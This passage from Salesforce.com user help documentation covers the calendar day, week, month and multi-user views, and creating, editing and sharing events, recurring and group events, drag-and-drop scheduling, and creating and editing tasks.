Month View icon. See Using the Calendar Month View on
page 1195.
Single User View icon. Displays a user's calendar, a public
calendar, or a resource calendar.
Multi-User View icon. Displays several users' calendars. See
Using Multi-User Calendar Views on page 1198.
Activity list view. See Viewing Activity Lists on page 1173.

Previous arrow. Click to change the view to the previous day,


week, or month, as appropriate.
Next arrow. Click to change the view to the next day, week,
or month, as appropriate.
Pick a Date icon. Click to open a popup dialog where you can
choose a specific date.

Note:
• Events and tasks that are part of a recurring series are marked with a recurrence icon ( )
• The group event icon ( ) identifies group events. Group events are not available in Personal Edition.

Using Calendar Views


See the following topics for information on how to use different calendar views:
• Using the Calendar Day View
• Using the Calendar Week View
• Using the Calendar Month View
• Using Multi-User Calendar Views

Tips on Using Calendar Views


Consider the following when using calendar views:
• Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views.
• Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views
on page 413.
• To change the default range of hours that your calendar displays, change the Start of day and End of day fields on
your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing

1192
Activities Viewing Your Calendar

Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that
range of hours.

See Also:
Viewing Event Details
Creating Events
Editing Events
About Event Detail Overlays

Using the Calendar Day View


Available in: All Editions

Clicking the Day View icon ( ) opens the day view of calendar.
In the single user day view, you can:

• See the events scheduled for the specified day.


• See a list of tasks. You can change which tasks you see using the drop-down list.
• Hover your mouse over the subject of an event to see the details of the event in an overlay.
• Hover your mouse over the subject of a task to see the details of the task in an overlay.
Note: The event detail or task detail overlays are hover popups that show information about the event or task and
allow you to quickly edit or delete the event or task.
The information presented on these overlays is configured by your administrator. See Defining Mini Page Layouts
on page 1370 for details on configuring the event detail or task detail overlays.

• Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of
the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see
Enable Click-and-Create Events on Calendar Views on page 413.
• Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 413.
Drag-and-drop editing is not available for multiday events.
• Navigate the calendar using the calendar icons.
• Click Today to display the day view for today.
• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 1196.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 65.
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
1197.

1193
Activities Viewing Your Calendar

In the multi-user day view, you can view the events of multiple users for the specified day. For more information, see Using
Multi-User Calendar Views on page 1198.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Week View
Using the Calendar Month View
Viewing Your Calendar
Viewing Event Details
Creating Events
Editing Events

Using the Calendar Week View


Available in: All Editions

Clicking the Week View icon ( ) opens the week view of the calendar.
In single user week view, you can:

• See the events scheduled for the specified week.


• Hover your mouse over the subject of an event to see the details of the event in an overlay.
• Click the Add Event icon ( ) to add an event on the appropriate day. Alternatively, double-click a time slot to enter the
details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create
events; see Enable Click-and-Create Events on Calendar Views on page 413.
• Click the date—for example, 26 for March 26th—to drill down to the day view for that day.
• Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 413.
Drag-and-drop editing is not available for multiday events.
• Navigate the calendar using the calendar icons.
• Click This Week to display the week view for the current week.
• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 1196.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 65.
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
1197.
• Select Show Weekends to display Saturday and Sunday.

1194
Activities Viewing Your Calendar

Tip: On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a
weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 1209.

In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using
Multi-User Calendar Views on page 1198.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Day View
Using the Calendar Month View
Viewing Your Calendar
Viewing Event Details
Creating Events
Editing Events

Using the Calendar Month View


Available in: All Editions

Clicking the Month View icon ( ) opens the month view of the calendar.
In single user month view, you can:

• See the events scheduled for the specified month.


• Hover your mouse over the subject of an event to see the details of the event in an overlay.
• Click the Add Event icon ( ) to add an event on the appropriate day.
• Click the date—for example, 26 for March 26th—to drill down to the day view for that day.
• Click the appropriate Week link to drill down to the week view for that week.
• Navigate the calendar using the calendar icons.
• Click This Month to display the month view for the current month.
• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 1196.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 65.
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
1197.

In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see
Using Multi-User Calendar Views on page 1198.

1195
Activities Viewing Your Calendar

Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Day View
Viewing Your Calendar
Using the Calendar Week View
Viewing Event Details
Creating Events
Editing Events

About Event Detail Overlays


Available in: All Editions

When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay
is a hover popup that shows information about the event and allows you to quickly edit or delete the event.
The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts
on page 1370 for details on configuring the event detail overlay.
Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For
example, if there is a contact associated with the event, and the event detail includes that information, you can click on the
contact name to go to the contact detail page.

See Also:
Using Your Calendar and Tasks on the Home Page

Viewing Other Calendars


Available in: All Editions

In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar:

1. Click [Change] to open the calendar lookup window.


2. As necessary, search for the desired calendar:

a. Choose either “User Calendars” or “Public Calendars & Resources” from the drop-down list.
b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name.
c. Click Go!.

3. Click the appropriate name to switch to that calendar.

1196
Activities Viewing Your Calendar

Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only
by inviting the resource to an event.

To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).

See Also:
Granting Access to Your Calendar
Creating an Event in a Public or Resource Calendar
Viewing Your Calendar

Sharing Your Calendar


Available in: All Editions

From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar.
For more information, see Granting Access to Your Calendar on page 65.
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activity’s assignee in the role hierarchy.

See Also:
Viewing Your Calendar
Viewing Other Calendars

Printing Your Calendar


Available in: All Editions

To print your calendar, click Printable View from any of the calendar views.
On a printable view, you can:

• Click Print This Page to send the printable view to a printer.


• Click the Next arrow ( ) and Previous arrow ( ) to change the displayed date or dates.
• Click Today, This Week, or This Month depending on the view to display the current date or dates.

In addition:

• On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down
list.

1197
Activities Viewing Your Calendar

• On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to
include all users' events on a single calendar, or select User to display a separate calendar for each user.

See Also:
Viewing Your Calendar

Using Multi-User Calendar Views


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To display the calendars of several users on the same page, click the Multi-User View icon ( ).
In the multi-user calendar view, you can:

• Select which calendars display by selecting, editing, and creating user list views. To show a filtered list of items, select a
predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete
any view you created, select it from the View drop-down list and click Edit.
• See the availability of each user. Consult the legend on the page to see which color indicates Busy or Out of Office time.
If a user has multiple events scheduled for a particular time, all of those events display on the calendar. Note that events
marked as Free in the Show Time As field of their event details do not display in the multi-user calendar view.
• Hover your mouse over a colored bar to see more details about an event.
• Create an event and invite multiple users. Check the boxes next to the users you want to invite, then click New Event.
Alternatively, click the Add Event ( ) icon for the appropriate day.

Note: Administrators can enable a setting for multi-user calendar views that displays event details on-screen. For
more information, see Show Event Details on Multi-User Calendar View on page 753.
Drag-and-drop editing is not available on multi-user calendar views.

Multi-user calendar views work differently in the partner portal, for example, partners can only view calendar information for
users in their own company and for their channel manager. For more information, download the Partner Portal User Help.

See Also:
Viewing Your Calendar
Granting Access to Your Calendar
Creating Group Events

1198
Activities Viewing Event Details

Viewing Event Details


Available in: All Editions
Group events not available in: Personal Edition

To view the details of an event:

• Go to the Calendar section of the Home tab and hover your mouse over or click the subject of an event.
• From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay.
• On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History
related lists.

To see all of your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views.

Viewing Group Event Details


For group events, the detail page lists the users that have been invited and whether they have accepted or declined the event.
You can clone a group event from the group event detail page. This lets you quickly create another group event with the same
invitees. However, you can't clone standard or recurring events.

Viewing Recurring Event Details


The recurrence icon ( ) identifies events that are part of a recurring series. To view the details of the individual event occurrence,
select the View Event subtab (located above the task details). To view the details of the entire event series, select the View
Series subtab .

See Also:
About Event Detail Overlays
Creating Events
Editing Events
Activity Fields

Creating Events
Available in: All Editions

User Permissions Needed


To create events: “Edit Events”

1. Begin creating an event by doing one of the following:

• From the Create New drop-down list in the sidebar, click Event.

1199
Activities Creating Events

• From the Calendar section of the Home tab, click New Event.
• From the Open Activities related list of an associated record, click New Event.
• On the day view of the calendar, click on a time to create an event for that time. Alternatively, double-click a time slot
to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of
click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 413.
• On the week view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 413.
• On the month view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
• On a multi-user calendar, select the users to invite, and click New Event.

2. Enter the details of the event such as subject, start date and time, and end date and time. To assign the event to a partner
user, select Partner User from the Assigned To drop-down list.
Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.

If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks on page 413. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported.
Optionally, select Create Recurring Series of Events to specify how often the event repeats. For more information,
see Creating Recurring Events on page 1201.
Note: Each occurrence in a series of recurring events cannot last longer than 24 hours. Once the recurring event
series is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled.
To enable multiday events, see Customizing Activity Settings on page 752.

3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
4. Optionally, click Add Invitees to make the event a group event to which users, contacts, leads, or resources are invited.
For more information, see Creating Group Events on page 1202.
5. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save
and create an additional event.

See Also:
Editing Events
Activity Fields
Creating an Outlook Appointment for an Event

1200
Activities Creating Events

Creating Recurring Events


Available in: All Editions

User Permissions Needed


To create recurring events: “Edit Events”

A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00
AM. This topic describes how to complete the Recurrence section on the New Event page. For general instructions on creating
an event, see Creating Events on page 1199.
Note: Each occurrence in a series of recurring events cannot last longer than 24 hours. Once the recurring event series
is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To
enable multiday events, see Customizing Activity Settings on page 752.

1. Select the Create Recurring Series of Events checkbox.


2. Select the frequency of recurrence.
Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:

• Daily: 100
• Weekly: 53
• Monthly: 60
• Yearly: 10

3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based
on the frequency you selected.
4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series.

See Also:
Editing Recurring Events
Creating Group Events
Viewing Your Calendar

1201
Activities Creating Events

Creating Group Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create group events: “Edit Events”

A group event is a meeting to which you can invite users, contacts, leads, or resources. Group events are marked with the
group event icon ( ). This topic describes how to complete the Invite Others section on the New Event page. For general
instructions on creating an event, see Creating Events on page 1199.

1. Click Add Invitees in the Invite Others section.


2. In the popup window, search for invitees:

a. Select the appropriate type of invitee from the drop-down list: users, leads, contacts, or resources.
Note that person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text entry field.
c. Click Go!.

3. In the Search Results area, check the boxes next the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.
Note: Group events that occur only once can have a maximum of 1000 invitees and resource. Recurring group
events can have a maximum of 100 invitees and resources.
You must have at least read access to the contacts and leads you invite to a group event. You must have at least
“Add Events” on a resource to invite it to a group event.

4. Click Done to add the selected people to the event.


5. Review the calendar of each invitee and adjust the date and time of the event, if necessary.
The availability of invitees is indicated in color on their calendars: busy time is blue and out-of-office time is purple. If an
invitee has more than one activity scheduled for a particular time, all of those events will be shown on the calendar. You
can hover your mouse over any event on the calendar to see the event details.
Note: Events marked as free are not displayed.

6. Click Save & Send Invitation.

1202
Activities Creating Events

Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or
decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource
is available at the given time, it will automatically accept the invitation. You cannot double-book resources.

See Also:
Responding to Group Events
Editing Events
Creating Recurring Events
Viewing Your Calendar

Creating an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create an event in a public or resource calendar: “Edit Events”

Adding Events to Public Calendars


To add an event to a public calendar:
1. On a calendar view, click [Change] to switch to the appropriate public calendar.
2. Choose the appropriate time and date of the new event:
• On the day view, click a time such as 9:00 AM to add an event at that time.
• On the week or month view, click the Add Event icon ( ) to add an event on a particular date.

3. Enter the details of your event. For details, see Creating Events on page 1199.
4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save &
New Event to save and begin creating an additional event.

Adding Events to Resource Calendars


To add an event to a resource calendar, invite the resource to the event. For details, see Creating Group Events on page 1202.

See Also:
Editing an Event in a Public or Resource Calendar
Managing Public and Resource Calendars
Viewing Your Calendar

1203
Activities Editing Events

Editing Events
Available in: All Editions

User Permissions Needed


To edit events: “Edit Events”

1. To edit an event, begin from one of the following locations:

• On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
• On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
• On single user daily and weekly calendar views, you can:

- Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your
mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single
occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of
drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing
is not available for multiday events.
- Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that
your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on
Calendar Views on page 413.

• On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
• On an activities list view, click Edit next to the appropriate event.

2. Change the event fields as needed.


If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks on page 413. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported.
3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
4. Click Save.

Note: Review the following considerations about who can edit events:

• Permission to edit other users’ events is controlled by your organization's calendar sharing model and your personal
calendar sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events
of people who report to them.

1204
Activities Editing Events

• Private events can be edited only by the event owner (the user assigned to the event) and users with the “Modify
All Data” permission.

See Also:
Editing Group Events
Editing Recurring Events
Editing an Event in a Public or Resource Calendar
Creating Events
Activity Fields

Editing Group Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit group events: “Edit Events”

Group events are marked with the group event icon ( ). To change the details of a group event that you own:

1. Open the detail page of a group event and click Edit.


2. Change the details and invitees of the event as desired.
In the Email Option drop-down list, choose whether to send an email update to all invited users or only the users you
added or deleted during editing.
3. Click Save & Send Update to save the event and send an update email to the invitees. Alternatively, click Save to save
your changes without sending an email. All changes will be reflected on the calendars of invited users.

Note: You can only edit a group event if you are the event owner. As the event owner, you do not receive email when
an invitee accepts or declines an event invitation.
You can reassign a group event to a new owner unless the event is part of a recurring event series.

See Also:
Responding to Group Events
Editing Recurring Events
Editing Events
Viewing Event Details

1205
Activities Editing Events

Editing Recurring Events


Available in: All Editions

User Permissions Needed


To edit recurring events: “Edit Events”

To change the details of an event that is part of a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Edit Event.
3. Change the event fields.
4. If this is a group event, choose whether to send an email update to all invited users or just the users you added or deleted
during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save your
changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event.
Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series
frequency is changed.

To change the details of a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Select the View Series subtab and then click the Edit Series button. Alternatively, click the Edit Series link in the
Recurrence section of the detail page.
3. Modify the fields for this series of events. Changes made will not affect events in the series that have occurred in the past.
Caution: If you change any of the details in the recurrence section of the series, all future events that were part of
the series will be deleted and new events will be created. Any changes made to individual events that have not yet
occurred, including any responses from invitees, will be lost.

4. If the series includes invitees, and you want to notify all the invitees of the changes, click Save & Send Update. If you do
not want to send updates to all invitees, click Save.
Note: If you have changed the time or frequency of the events in the series, and you do not send updates, the
response status (accepted, declined, or not responded) for each invitee will not change. If the invitee did not decline
the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no
other changes, existing events responses will not be changed unless you send updates.

See Also:
Creating Recurring Events
Editing Group Events
Editing Events

1206
Activities Editing Events

Editing an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit an event in a public or resource calendar: “Edit Events”

Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.

1. On a calendar view, click [Change] to switch to the appropriate public calendar.


2. To edit an event, begin from one of the following locations:

• On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
• On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
• On single user daily and weekly calendar views, you can:

- Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your
mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single
occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of
drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing
is not available for multiday events.
- Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that
your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on
Calendar Views on page 413.

• On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
• On an activities list view, click Edit next to the appropriate event.

3. Change the event fields as needed.


4. Click Save.

See Also:
Managing Public and Resource Calendars
Creating an Event in a Public or Resource Calendar
Editing Group Events
Editing Events

1207
Activities Responding to Group Events

Responding to Group Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

When another user invites you to a group event, you receive an email containing a link to the event. The event also displays
on your Home tab if your home page layout includes your calendar. To accept or decline the event:

1. Click the event description.


2. Optionally, enter a response.
3. If the event is a single event, click Accept Meeting or Decline Meeting. If you have been invited to a series of events,
click Accept Series or Decline Series.
Note: If you want to attend some of the events in a series of events, but want to decline other events in the series,
accept the series and then decline the specific events you will not attend.

To create an Outlook appointment for your group event, click Add to Outlook. The event immediately opens in Outlook. If
it does not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook
appointment is tagged with the “salesforce.com” category so that duplicates are not created during synchronization.

See Also:
Creating Group Events
Editing Group Events
Viewing Activities

Creating an Outlook Appointment for an Event


Available in: All Editions

To add an event to Outlook:

1. Select an event from the Calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click Add to Outlook.
3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import
the file with Outlook.
The Outlook appointment is added to the “salesforce.com” category.

See Also:
Creating Events
Using Connect for Outlook

1208
Activities Working with Drag-and-Drop Scheduling

Working with Drag-and-Drop Scheduling


Available in: All Editions

User Permissions Needed


To enable drag-and-drop scheduling: “Customize Application”
To create events: “Edit Events”

Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly
calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list
view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads.
After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list
view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the
calendar to quickly create an event associated with the record. When the calendar is open, you can:

• Select the Change link to switch to any calendar to which you have access
• Click the Previous Week ( ) and Next Week ( ) icons to view the previous or next weeks in the calendar
• Click the Date Picker icon ( ) to choose a specific date on which to view the calendar
• Select the This Week link to view the current week in the calendar
• Select the Show Weekends checkbox to display weekends on the calendar
• Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the Close Calendar link at the
bottom of the list view to close the calendar.
• Drag the bar in between the list view and calendar to resize the height of either one

Setting Up Drag-and-Drop Scheduling


Users with the “Customize Application” permission can set up drag-and-drop scheduling. To set up drag-and-drop scheduling:
1. Click Setup ➤ Customize ➤ User Interface.
2. Select the Enable Drag-and-Drop Scheduling on List Views checkbox.
To select the Enable Drag-and-Drop Scheduling on List Views checkbox, you must select the Enable
Drag-and-Drop Editing on Calendar Views and Enable Click-and-Create Events on Calendar
Views checkboxes. For more information, see Customizing User Interface Settings on page 411.
3. Click Save.
4. Optionally, define event mini page layouts to include the fields you want users to update in the event edit overlay:
a. Click Setup ➤ Customize ➤ Activities ➤ Event Page Layouts
b. Select an events page layout name.
c. Click Mini Page Layout.
d. Select which fields to display in the event edit overlay.
For more information, see Defining Mini Page Layouts on page 1370.
e. Click Save.

1209
Activities Viewing Tasks

Tips on Drag-and-Drop Scheduling


Consider the following for drag-and-drop scheduling:
• The Open Calendar link only appears at the bottom of list views for accounts, contacts, and leads.
• Drag-and-drop scheduling is not available for the Console tab, group events, recurring events, accessibility mode, or
Connect Offline.
• List views that include drag-and-drop scheduling may take slightly longer than usual to display.
• We recommend adding the All Day Event field to the event mini page layout, as that field is not automatically added
to event mini page layouts. The All Day Event field allows users to specify whether an event lasts all day.
• Drag-and-drop scheduling includes enhanced lists; however, you do not need to enable enhanced lists for drag-and-drop
scheduling to work. For more information, see Working with Enhanced Lists on page 1694.
• When you drag the bar in between the list and calendar to resize either one, the size is automatically saved for all views in
which you use drag-and-drop scheduling. You can resize the list and calendar at any time.

See Also:
Creating Custom List Views

Viewing Tasks
Available in: All Editions

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail. To view the details of a task, click the task's subject from any of the following locations:

• The My Tasks section of the Home tab


• The calendar day view
• An activities list view
• The Open Activities related list on an associated record
• The Activity History related list on an associated record

The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence,
select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series
subtab .
If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with
Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See
Working with Case Emails on page 1337 for more information.

See Also:
Creating Tasks
Editing Tasks
Closing Tasks
Using Your Calendar and Tasks on the Home Page
Activity Fields

1210
Activities Creating Tasks

Creating Tasks
Available in: All Editions

User Permissions Needed


To create tasks: “Edit Tasks”

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail.

1. To create a task, do one of the following:

• Click New from the My Tasks section of the Home tab


• Click Task from the Create New drop-down list in the sidebar
• Click New Task from the Open Activities related list of an associated record

You can also create tasks from other locations in Salesforce.com.


2. Enter the details of the task:

• Assigned To—Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another
user, enter a user’s name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign
independent copies of a new task to multiple users, see Creating Group Tasks on page 1212.
• Subject—The subject or short description of the task, for example, “Email quote to customer.” You can enter a
subject, or select from a picklist of previously defined subjects.
• Due Date (optional)—Date when the task should be completed. You can enter a date, or choose a date from the
calendar that displays when you put your cursor in the field.
• Comments (optional)—Text note describing the task. This field can hold up to 32KB of data.
• Related To (optional)—The record that the task is associated with such as an account or opportunity. This field is
not available when you associate the task with a lead instead of a contact.
• Name (optional)—Contact or lead associated with the task. You can enter the name of the person or use the lookup
icon to select the name.

3. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field.
Note that the Check Spelling button must be enabled separately for events and tasks on page 413. Spell Checker does not
support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages, such as
Japanese, Korean, or Chinese, are not supported.
4. Specify the status and priority of the task.
5. Select the Send Notification Email checkbox to send a notification email to the task's assignee when you save the
task. To save the current state of the checkbox as your personal default, select Make this the default setting.
For administrative information about the Send Notification Email checkbox, see Notes on Page Layouts on page
632.
6. To create a recurring task:

a. Select the Create Recurring Series of Tasks checkbox.


The Due Date field is disabled because recurring tasks do not all have the same due dates.

1211
Activities Creating Tasks

b. Select the frequency of recurrence.


Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:

• Daily: 100
• Weekly: 53
• Monthly: 60
• Yearly: 10

c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed
based on the frequency you selected.

7. Optionally, set a reminder on the task.


If you are creating a recurring task, the reminder applies to each occurrence in the task series.
8. Click Save. Alternatively, click Save & New Task to save the task and begin creating another task, or click Save & New
Event to save the task and begin creating an event.

See Also:
Using Your Calendar and Tasks on the Home Page
Using the Open Activities Related List
Viewing Tasks
Editing Tasks
Closing Tasks
Setting Reminders on Activities

Creating Group Tasks


Available in: All Editions

User Permissions Needed


To create tasks: “Edit Tasks”

You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create
a task “Submit your expense reports” with the appropriate due date and assign it to a team of account executives.
This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more
information, see Customizing Activity Settings on page 752.
To create a group task:

1. On the New Task page, click the lookup icon ( ) next to the Assigned To field.
2. In the lookup window, select the Multiple Users tab.
3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search
drop-down list, select the appropriate option.

1212
Activities Editing Tasks

4. Optionally, enter one or more characters in the text box and click Find to perform a search.
5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items
individually, or SHIFT+click to select multiple adjacent items at the same time.
6. Click the Add and Remove buttons to move your selections between the lists.
7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100
users, you must reduce your selections before you can proceed.
8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are
creating also displays.
9. Continue entering task details such as due date, status, and comments.
Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks
checkbox is disabled. You cannot create group recurring tasks.

10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and
not linked; they can be edited, transferred, or deleted individually.

Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see
Creating and Editing Groups on page 166.

See Also:
Creating Tasks

Editing Tasks
Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”

To edit a task:

1. Click the subject of the task from any of the following locations:

• The My Tasks section of the Home tab


• The calendar day view
• An activities list view
• The Open Activities related list on an associated record
• The Activity History related list on an associated record

2. For non-recurring tasks, click Edit.


3. For tasks that are part of a recurring series:

• To edit an individual task occurrence, select the View Task subtab, and click Edit Task.

1213
Activities Deleting Recurring Tasks

• To edit an entire task series, select the View Series subtab and click Edit Series. Alternatively, click the Edit Series
link in the Recurrence section of the detail page.

Note: When editing recurring tasks, keep the following in mind:

• Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated
with conflicting information.
• If you change any of the details in the recurrence section of the series, all open tasks that were part of the series
will be deleted and new tasks will be created. Any changes made to individual open tasks that have not yet
occurred will be lost.

4. Change the task fields as needed.


Tip:

• If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the
Comments field. Note that the Check Spelling button must be enabled separately for events and tasks on page
413. Spell Checker does not support all the languages that Salesforce.com supports. For example, Thai, Russian,
